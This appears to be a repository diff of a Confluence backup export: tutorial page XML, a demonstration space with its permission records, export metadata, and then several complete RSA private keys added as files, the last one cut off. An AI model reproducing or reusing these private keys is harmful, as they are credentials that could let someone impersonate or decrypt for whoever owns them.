toolbar.</li></ul></li></ul><p>When<em> y</em>ou're ready, click <strong>Update</strong> to publish your changes then<strong> </strong>and go to the next step or back to the space home.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg" /></ac:image></ac:link-body></ac:link></span></h1><p> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163842</id>
|
||||
<property name="body"><![CDATA[<p style="text-align: center;"> </p><h2><ac:image><ri:attachment ri:filename="welcome.png" /></ac:image><br /> <span style="color: rgb(128,128,128);">With Confluence it is easy to create, edit and share content with your team. <br /> Choose a topic below to start learning how.</span></h2><h2><span style="color: rgb(0,0,128);"><br /></span></h2><ol><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body>What is Confluence?<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[A quick look at the editor]] ></ac:plain-text-link-body></ac:link><br /> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:plain-text-link-body><![CDATA[Let's edit this page]] ></ac:plain-text-link-body></ac:link><br /><br /></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body>Prettify the page with an image<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body>Get serious with a table<br /></ac:link-body></ac:link></span><span style="color: rgb(0,0,128);"> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:plain-text-link-body><![CDATA[Lay out your page]] ></ac:plain-text-link-body></ac:link> <br /><br /></span></li><li><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:plain-text-link-body><![CDATA[Learn the wonders of autoconvert]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:plain-text-link-body><![CDATA[Tell people what you think in a comment]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:plain-text-link-body><![CDATA[Share your page with a team member]] ></ac:plain-text-link-body></ac:link></li></ol><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p style="text-align: right;"> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163843</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p><strong>Confluence</strong> is where you can create, organize and discuss work with your team. <br />Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.</p><p>Click the <strong>Create</strong> button on the header to see some of the types of pages you can create.</p><p>A Confluence page can contain text, images, diagrams, activity streams, videos, and more. <br />Confluence puts your content online in a central place where your team can search, edit and discuss it at any time. <span><span style="color: rgb(0,0,0);"> </span></span></p><p><span><span style="color: rgb(0,0,0);">So let's try it!<span style="color: rgb(0,0,255);"> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[Click here to learn how to edit a page]] ></ac:plain-text-link-body></ac:link></span> </span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"> </span></span></p><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="Space" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">131073</id>
|
||||
<property name="name"><![CDATA[Demonstration Space]]></property>
|
||||
<property name="key"><![CDATA[ds]]></property>
|
||||
<property name="lowerKey"><![CDATA[ds]]></property>
|
||||
<property name="description" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="homePage" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="permissions" class="java.util.Collection"><element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458761</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458762</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458763</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458764</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458765</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458766</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458767</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458768</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458769</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458770</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458771</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458772</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458773</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458774</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458775</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458776</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458777</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458778</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458779</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458780</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458781</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458782</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458783</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458784</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458785</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458786</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458787</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458788</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458789</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458790</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458791</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458792</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458793</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458794</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458795</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458796</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458797</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458798</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458799</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="spaceType">global</property>
|
||||
<property name="spaceStatus" enum-class="SpaceStatus" package="com.atlassian.confluence.spaces">CURRENT</property>
|
||||
</object>
|
||||
</hibernate-generic>
|
||||
@@ -0,0 +1,14 @@
|
||||
#Thu Nov 09 06:05:19 UTC 2023
|
||||
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
|
||||
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
|
||||
createdByVersionNumber=7.19.12
|
||||
supportEntitlementNumber=SEN-L1699509489567
|
||||
source=server
|
||||
buildNumber=8506
|
||||
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
|
||||
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
|
||||
defaultUsersGroup=confluence-users
|
||||
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
|
||||
exportType=all
|
||||
createdByBuildNumber=8804
|
||||
backupAttachments=true
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpQIBAAKCAQEAzbGeKAIbNI5h3LnQXhN3P1/8aUH9FfUQVaKKI/tOhzByQ/v4
|
||||
DKD5hfXl+oxkoGeqSafpccPl4A1MOEe7ccd1mt96iBDnufUKfbjZyfH92ONM9RVV
|
||||
GrhhXruRe/qbkLNlwFNdaYmi/UHbYu+fgiDrE4np4MvGACzLvv6Hu/cDe2kSjFNd
|
||||
zs7wvzZ95fliH/+nsBUqC3JntH+KZy0JZW6QJ8WkY5g7KXlfTPkFdEfMuNLKbD3w
|
||||
j/d+FFY0CI7XR8JX96w0cfYs6k94enzag0eKeAJAbUFXTkK73Cg3fomws2SlCZPi
|
||||
KiRXdMJFY2pKwg1KJU9SqsfHQvz8UCRvpE3KyQIDAQABAoIBAA3KfNod2gkaCsGr
|
||||
y6ajE3myS9Aa1ockWSYEsdJbxRYXT3HzcNwX5uLua67yvsRqbuZlVaeFBOKSwat8
|
||||
U7r7Lo1lsmdxCrhTD5MCU8fQa76g7sX32i7icdTSKpzvXoLDJG1SqY6r5bupMLZf
|
||||
bohhAKHcu0uRHgNg/YAevKcDlr4tXGICajsToSg4UlxVcbxGcuvLKld8FKZrKuE0
|
||||
fPDkEp6j4056bYMilO/xTpDb+WyegzTxA842CweLBZo/XXD3ZS5wiad6evnjp57E
|
||||
gd6S6huavL9uzNpmqr1BfSl6r+bWTXcFBNYyaEo1Y+Sa8ZzgOql7VblmW23Pqetc
|
||||
f1Jn0AECgYEA/Fxo8cBl4myOeiKSddCwSLrlP0zizXQ5L9ppooXqH5nuA96R00jU
|
||||
ryygUJ0tPp2iODdBoO5tGTIbqHBOEu4i7JejrPML9Y33bZq+M4ZeNnMimfK60N4g
|
||||
j7ma/Qqvz6MSi3Dh9rYMoavkMVrr2TJEKQrjMpBmuXP1W+5b0fTq4QECgYEA0Kjv
|
||||
ptAyCy9/Mq8Fn2vY6hJQEb3WUukClBccxCCYKRWPvFjg4tWRdSKpqPH9LMZ7Ra74
|
||||
xZjPa27eTymADo49/3whsVOPiQV/dKbf0vhwGuSMMxyEpOWdvILJNo0HW+f98//K
|
||||
DFvIkByqc+517LyKHhco8Cti/I22qLY8+27iIckCgYEAt0S9CeP5mcfQaK42wsy9
|
||||
WPQxjBjgFOi0pyXs1RR/hFebXMAEEvavTlAQVLrwoqqDpmOqi57bKBMVtutoJ6M9
|
||||
RaiSOwV+x+NDrxtTycNpJA3VMQvv08OczgOypNVf/GCnFRDzaOGoprhYTeeDpAY3
|
||||
Lb80ZAIuN7wYkZy2nfFJqgECgYEAlSqgIG2nyO1MjmwmpeBQco1i5jwDMsRWzo1z
|
||||
SBZRENXUKn6TTjYFRWrhROCx8Ed4Ksm6GHB0n8XjcU4muMEhOzp/T6h/7SGcC0Wc
|
||||
rtJiOid2vrc9cDCiQfhxZekOALrphnwu8gTPbY7AoB4x+WqTho1h+8fYfNnGYffd
|
||||
wpVzXVkCgYEA0vxFIs633h7ct2qBH50ieDCPc0RsTBhZHGXYmYfq596K3ZOHF2IV
|
||||
ICFq9r4zBorUwC3f/u/KvfjkilZTMN73GDWigdQGnP3eG0xKw9plv686M9HhCEI5
|
||||
Q2wnkxwYstzUwQ2zxwgU0l6z2OUXfG2oP3DRmFdQ4ma+c3MB1oxiX7E=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAsgKBrNNWF+QwDEP1w4HNuVQNBwLU0g/7Ua3SNNxhQvgx9oe7
|
||||
Oh6c8YFvtmpSIjpOj3aD+w0bKZ8cEEPIGPV4OJ8tbuV09GtRPO+TbffhDsnwZB5Y
|
||||
fLhUsSM1/PjVTCfzrz2crs6CWRrDXLd3Qm9EdYAY01hE1Zo3TeqwsmXfy+7llF5z
|
||||
iHKs54yDm/x+CEVL/QfaDTxyTSGeXpQSd6Y9nVhSGZPu2LyqksEffGJCxhzqgz0R
|
||||
ldsfYTo64XofPUPRVvuNMJtBbdWIvzEqGGoaqOmm6XZhhh0ND4N9hyFnKA02q6Yb
|
||||
CR8q0gtEXBhDIM0e/rSoc+UoAhnbBJ4EiTnIywIDAQABAoIBAHiy1GRwA789XQrk
|
||||
Bb8jw283O4IWfGFWrszKNG7dQyGakp4bmGqnGTlzz2B7pOdKa7xA2uqeD13gYbHx
|
||||
k7rArlyOKcs40F1uau4LcAavfa1+ZX4tSUh/4AUf39qAingR2txmxVeN9LogOHkk
|
||||
eTvVoDCfw7WB82J2J6uwR1EfXGi0mGTyk+DzarzCm2S3jHVVlsWMC1rf440/NJxa
|
||||
2isVsh19CC9RXF8Npgd/b/TszLc9UzmFsYstQRrFXHTGO8LAmXYd+Jxb5ejbAAAJ
|
||||
zKN7YDdTPJvPmS9VUH0W3OeEvMDiY+56JJwk4u52vgfKThyP6AD/wIjRDXyp+eSi
|
||||
3wLoHQkCgYEA46eoL2tgjFfybLTQFt59/MBSWCKHEs5VKrBrGb8NhcmX0V7xLNip
|
||||
ZtV7gN55ZQdI78pXyXpZsbU8EDx+5hrG7HDTLkl2N2n0vJNKtmj/oh/AgHt4EXUY
|
||||
aLDSXSAsHPYAmdgg3kX61fgB7J3ByEPxjVk1B0tUShJ1d7/K3upvEj0CgYEAyCxy
|
||||
GPppQIcLfkC71qZqsJuyZapf1+GkEve/eUh7su3k9coy4bTNaBuDTLSRpDjSbsoO
|
||||
2jfAtImOjt95ZZGyCa2+bCDQlPKwG1C+I3ZQKYmSqxfHhS7W+0/iWqM4TL/yX1oM
|
||||
0jejJarZre+dfAEQtG6F5+lOnq6tx9uG+MRFn6cCgYB9LX8pM93Ozb0bUQDq0kRs
|
||||
akPc+n9TM+lYo9EAQzFoU0ULdy0d/7SGOvTCE5KknrDYSWaj/oa7VHBGbT1JwYeI
|
||||
EzHLzdEW/0f3OPZn/qwxtUvgWgPXdY+KYVAKrNoUwp/p+BF6pvgaF1jXhpc7S0DS
|
||||
/C5QaHdck3HL+sXOdRHF8QKBgE/QQPIqrlrXPcLqZrsQgcvHWNtmkm6OfpA9jm/6
|
||||
cbAHYNqL87vBDoGrLrAf805KhcU89a0Wu9SAYIIhItNXw2hOiXWto90v4v4RNK8J
|
||||
Fq9pNjzX72rwITH1SSigmesoQai5TBFps7hqJf9PYji2aAW5Z9TvVrS4q3vb0TZR
|
||||
c/1TAoGAa+/A8GjiQFiveMRKfFW0vrk3/kJfe9h+w9Wly/Zev0TWZDBJquRFbIvM
|
||||
CyQ3PZZT/CM8vjRKb37oKsSM4Qz+CMpcEwyr3uu/MUak3KqD/j35XWW/kY/50qiv
|
||||
yDHbWgAyzi5wBd8uu2r/ILA3LCH4SHYA5X1XKEUwEAuaSXQUhVg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAyYCxnpm+fPQmfJ9otzl6yBI5XbHQ0nLdod646tj48ZTnLAr/
|
||||
MSfHxpHmfJhavWbkOIPjMpE9vft7z37KVldTVZLXWpgUqSJAIF01dm8nqR3ErQqk
|
||||
9kXjf/i4qRKX6vSZxexV9nUedCm75OM4dCrfMRq08zQkQgKJ5LZQzY6nIZn2VKqJ
|
||||
aaFYUTy3PpX6J6ObOa4Ft8pz8PIuwCnMR/yQFOPlY8sxvxv7de3g/VJh25Q7kLWw
|
||||
tSUIc6E4dzEIWi9o+q83tixXtvtlNcSA2LXWjQKBNo7lWvjqQbx4f/mwB4/ipqVf
|
||||
PQG/bolQ/2Wr+HF9E5XSpZrxFVOOIBSJm7+uJwIDAQABAoIBADfjQuBrYgMEMJyG
|
||||
FiQjhCNzsoeDJxkHlOMtg/pXHYzbsNZtYmQ+1VEE7HmIRDqeDBSEuAIxeH91/dwK
|
||||
HZKe+9UTOjm9TpWukzymvYpQwB5OzFr2RdSsg7HdyVHTf2FCYFgd+aW2zDCJ1rxg
|
||||
LStDLM5Qyvldb+UDET3nNzgcJczSigaHNVmUYv02yqELolHumD3X2uJnLsOrIIvS
|
||||
FlaGHhL2r4b67lTE27DBfRVFcTZmsWtS2mnJuQuBv2Bv1wXA3DmvJBgsUOVR03pT
|
||||
rxSn/vhJ+Lh+xqse3B60zJq8xncPUGLqT739J4rrxlkjGlQ3n4hYFdCrnaucKXI5
|
||||
AA1mvnECgYEA64Ftg8kUPEqNqjSnk8q3CFz+vhOpa5PPtfvroSrBg3KgollRC94q
|
||||
qnvpSjK9BBzlRriG9qNjne92JMXnOPlgyxM1u/GpMW8Mh5s32SERZ0sxFPzacon2
|
||||
e8ZFOMx/T5j3VzeElrrlpnIy9U4z+088EHaVvCJF1hNGCKYHusLcKi8CgYEA2wnA
|
||||
0btJLPXbWLLrEimXEaM8XEUpVvebR2r8PX+50puTi9vIejApNUsfpWnkKGl2zp74
|
||||
d0Z4EgLIsIpbmv4Nue/vB4e4nEP6vbdKxAVXWHOXPiMJgw5zCq1PLR35T33aBxmh
|
||||
RiGCyeeLl0SA6ykIh2MNGVyC+K7KyriW7/ds1YkCgYEA2p+ZMdjuDxZKsrIUyw9J
|
||||
oNrrpTqNcY+TKGbIFCKj6En2MyBlK3Y/92n2ZOn7LCFC+sb8i2Oca5ZL/9E0WGCw
|
||||
6XRY0rOBlKF5aT2/t7KJ/HECDHC6vc+zYK3rvtGgch0XqACi9mZkIIMtKSpC+U5R
|
||||
/RqI4FCUsinMPuUakdapGgMCgYAp1ZoLNK8MNETZkwqMpH7i8n9jzB3SK2Zv5IIa
|
||||
qNtv2yD6FFcc5zfnotp/eFMIWORFIF2qQj5KileUSEiouJ8chTPtB0H+LomkVG6m
|
||||
M7L0BNe9GWoGqurT/jfiERh90zaiJoYD5ACb2Wpy0LWitGqZmRR2ZJHrN08qGslR
|
||||
ObuCqQKBgQDdGGn4N6ke4fSdWxEHRy2VGSVzXAezsK5WpoAKzseJ75KZyc+1E3Ae
|
||||
FuA+dR5JnCUnUBSBHTS6V72qcU4u2D9/4MBQJOCys72/cHuit7vK/pCq/xQ6uQgx
|
||||
FTlL8KWeDQpBJEZddEgTCW21lAiq7Pa8bHwJMCZpRSklTap0bsPITg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAt4VSizA9wlrjZiBVBhfsBjFopdcuR4t11TYovpBU+HzwzB0O
|
||||
GkoPxsju1ga6rWUDs7ubJD504oBQ0+xSvHN+NTOSj0WGDM9uo2WqP+5r//LIDq3y
|
||||
AXNtF2zlQfZWkS/JpFVcO0Tr5HD0riV18ERAJNRHXxGy2Xe4Mm4lXRi+CpWs5j9/
|
||||
nYWtVEuCEd+cyYWTQbvYLpmEQNRoxHyC3ggJO2MtcxarGQUpyyJGEA5c1f7YogrN
|
||||
5rW8L62FxO8jPVDZjheSRNQlWUbuqTDZi935DLB4nZZX/7dQr1QhwpcWkGlzbr+4
|
||||
6aJdpaxTafgHaIY3F5GDIcrKWyjkQzX7Zv7mrwIDAQABAoIBACqq558Ozz0Rro7+
|
||||
82WgSDLEaAUuu0bNCM9ScTSlD+xZ+A4sryuzjml0K/s8w0gvFSZDdvV9Q+WpWaF7
|
||||
71x7KZuq6uc+jcUKsTlyGJwWjauLQbIQBRULRhDNM5wbbtMAnkwDwJbTFlkdXfXj
|
||||
JcF/zL4DULisv71J1Vx8OVmkuAJzly2K3I66HI4XIlEPoGBm48gnVF5mC0uz/Mtl
|
||||
nISm3hD69u43VUni9cU8yQzqu5RpLOrjvVPvfWW56XPMhxMbS59KXmk7XSLPEqvA
|
||||
9U9jKdMTWa0QlTBK4IjVUaxwND7a+Y6GvPuYoDGpXXlJQ7l3nCxnuhwlbJRXzPVS
|
||||
AJLaSUECgYEA5oD34F0s3roizEB1HuE2aHKbsLxbrkMj1Kx5cR8TS4qAVSNVlq3r
|
||||
yfwri0PpT0GhYSq3dSkPT+dLsAr/Y9EdtKG5rRVxzB8EIhgNoSqbm/NR8W7sCM+j
|
||||
M9b25eyupd/B2Olnnmlo4lCC9tXMj3Pe+hcL27i3o91egJikviBCY48CgYEAy9H3
|
||||
U9Ii9FWU64Lr9F9OxxfbLSV8l/LH8Mvg/3Y3lLciuYMLO1fS7rumXVqn/km8/ikJ
|
||||
pyQF3XO5XbyonRIBMuRemx2C78wO7Pq4/DEzJ68dj9yNrQICME5LWUZ+st53x8qt
|
||||
gyZlIoRDRE6RGVGovVihGTUIUXS6dOtJSBT5OuECgYAoZeYLnojkqD69CXb9aH8+
|
||||
oweCXCC9U+sNtQS7vLSHAsknIsA3Xlf62IVRLR/Q0jHUc8YfdIjIekMboXHNLrNE
|
||||
GywNl7qQCceRqiGJY4xOMsDjzYr0qF90EHLJLUgWrjatK4sLinHlaDLry+DEK4yi
|
||||
zDM52Q/mWj/bzeThpYm9JQKBgQCzfM6SCR5xDqCbGWsSg4/LMg34Xueuo8VBHzmf
|
||||
ngpqMzAoL+eHNdryE1v5H+mKvILrS1ZN0yI7Fzro+kd+MqnNmGBbtwxkgc2vEUgw
|
||||
Bl+nFcYxtycocPlecsRV9QeEGvdegPR15yzuzYyzLYEHy+qN++u6WAJgQSwl5EFf
|
||||
ceDc4QKBgEBlKDKtd2Zl9fovMma09/US/bxZnvsLLPfrRdhBT54a1iuR6LqmnNZo
|
||||
Fz/31eQLLpPz5tQ1w/7v+jbeDKhRakoS4bgIAHjckL0n/dOgvPbKpAXFFMhSpuQ+
|
||||
HMnqEZmits9CjfQEroNufl0XL2EqTqkX3UxSWDyt3KXcVtAEmhlD
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAtpYKEuuvwRmvleIjldsJLLW9k9GhJVE2te2vx1++P8L/Tkvt
|
||||
JWLP8zS/zYz/vQfSFoNxW0+LlbIkfzTBauZzo2gpG6wr3PQKHOioaQUCrdW23epg
|
||||
q8W57xcqmz4b0WkApqpewizOafhKcqnV2YoSewnQiM6I0M4uCa77H8XeNC+CskFH
|
||||
UABAU1CN0M4b8z2VZXg5GIrmNnWApeXpjT1Owhe9G0ULY7ieVaV18xOlF91+UlRO
|
||||
XiPOvn2aiMYlzhCY7GLVGUEMEQCig5EoBDIc8YTSd5gFKuZ/xF3pdIYEoWjgSg5e
|
||||
nTSmgheZOpRtPo/L8F/PwZVFYKzF36a4ksTs7wIDAQABAoIBAQCJdKcc22YzH106
|
||||
n0Ze+MkNabzQ3c5NQ7jGeawNkpytb+W4Uhy0OpGG7L1Ax9d3vb2ByW67aUUSa0xi
|
||||
n5rFGb0Q1ces148mBmrenKC8f1Mm/29t3ZbteiuiPXSL7tQOcNhWoIg58nVq/cs+
|
||||
S3F9Fh8XlanydFo3qCCslZjksJe5/Iwq4lTMNNBSg21U+F4Qjylyk6pyilFPVdRs
|
||||
HgTRDkfpOQfhLg75kUYA3IF1widEKxiDHadFnnYL9aMY96XW0Kr9l7yS0FjgpdtH
|
||||
29oV16GjA0rhUJXzX3KuJfPqGmjOhaSf5WybbwdhjaqaOKqpX9RPyqYjF95Si0o7
|
||||
ejEgTE7RAoGBAOiDZhIHTC2OnfZNncWE/hEbA+mbw6DXxDX7b1gjcY0HU03G9GfK
|
||||
BAimUY5LMssMCG8mLcH2TwC4SYmLDHyWL9qwYBRv4790qfYBCIjh7gyUhgwRrQNX
|
||||
Q057iD4NWTL9XEaOQIKM6QG7xMMy4K+AnwWNrEcxOU/62T80JO4l9hDjAoGBAMkH
|
||||
kJtP0F6mv/Afe/5s7yd3ZJ/72yT73NjLg0vWbmLkop6eOR+CKw4nxorWxpocAj0p
|
||||
+ximRgDPHIZjMQnUVdUQNuCcWK7T3TzpsIM7CcbbWHemukSwQPBlkP3Z5UBs0YFz
|
||||
8L7uCqVSWcnBE8zXQkKIRdro7iXjoirI1NEwRO2FAoGAGhnuEmYJUi/pYaXy6SJ1
|
||||
1vu+Y7Idsuel2h2AsVdBPwCshFWqSCBwdXweOagNaqfOJpQVnOmGkuEdODiIzU+a
|
||||
zaTxFDo/SdXR4pDZIWyjaXwe1CoDzxUztBLAB589/TBd9HmxmjYxTgWDIBqNCIaa
|
||||
02fFCDTpZyYUzziOUMGoLtsCgYEAqw+T3oU5IwGzvAmegi6CBsxSxMwUe1ESaSws
|
||||
CmFqRx6UvnKW2xfxuTbhfI0sLED/KrrJXv1F/jQ+6qAHP3z+mLIWcGS6FfJUhRu5
|
||||
xsF7HUrS6eXnBMISUD2s9kXvDTZLxGM7Dc0TJACCROrWBW16hZDeGFwzIeykttF0
|
||||
PplbXd0CgYBRRe5kjhOMr3zb37PQmchwOL4S4YuX2ChQbhWl6CD+xwFCQnPjq7oK
|
||||
ffupaj085447kitYf23YbgZD0UPIkzbcOx+267pulgCaLAniUjuSzdiItQIjqDv7
|
||||
NTOJYF9i2RJW0dnrDC/6Ut6r5NIJiEL08Bx2ChxVNcl20ALBozk/rw==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
@@ -0,0 +1,27 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAzuQIqOXPnVopfWuERYwwycREObL4tiBpxyO4yzqPNP7mv04N
|
||||
